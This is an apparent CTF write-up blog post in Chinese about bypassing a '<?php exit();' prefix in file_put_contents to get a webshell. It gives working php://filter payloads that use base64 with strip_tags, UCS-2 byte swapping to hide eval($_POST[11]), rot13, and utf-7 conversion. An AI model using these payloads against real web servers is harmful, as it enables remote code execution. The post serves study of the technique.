#对于星球一道题目的思考

题目介绍

$filename=$_POST["filename"];
file_put_contents($filename, '<?php exit();'.$filename);
问如何getshell
  • 思路一:

    php://filter/convert.base64-encode|base64编码/resource=a.php
    

    这个思路不行,因为这个是同一个变量
    在php中,如果base64解码的过程中,遇到等号,后面还有内容,则返回空白(此情况仅限于写文件)
    但是可以配个strip_tags使用,下文有介绍

    顺便说一下base64解码情况
    base64解码只能是大小写字母和数字斜杠加号,其他字符会自动忽略,而且是以4位为一块
    

  • 思路二:

    <?php
    $a = 'php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pvela$(P_SO[T11)] ;>?/resource=a.php';
    //echo $a;
    file_put_contents($a,"<?php exit();".$a);
    # 每两个字符前后交换 eval($_POST[11])
    

  • 思路三:

    php://filter/write=string.rot13|<?cuc rpub 555;?>/resource=a.php
    

    但是如果开启了短标签,这样就不能使用,因为开头是<?cuc会导致语法错误
    在这里插入图片描述

  • 思路四:
    两个变量
    在这里插入图片描述
    一个变量时:

    $filename = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD89cGhwaW5mbygpPz4g.php';
    file_put_contents($filename,'<?php exit();'.$filename);
    

    在这里插入图片描述
    这儿主要用的思路就是将?>闭合前面的<?php exit();,然后用string_tags除去,而且等号这些全部在闭合的php格式里面被出去了,这样就能正常解码了~~


  • 思路五(只能在linux中使用,windws无效
    运用过滤器转换编码

    $a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php'; #base64编码前补了AA,原理一样,补齐位数
    

    我们看一下转码后的结果

    UTF-8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php
    👇
    UTF-7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-Cyc1e.php
    

    这样就成功的把 = 给转了,base64编码没有受到影响,一样可以正常的解码~
    在这里插入图片描述
    所以对于base64的运用,只要找到一个能把 = 转了同时又不影响base64编码后的字符的转码方式即可

问题来源

链接
cyc1e

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值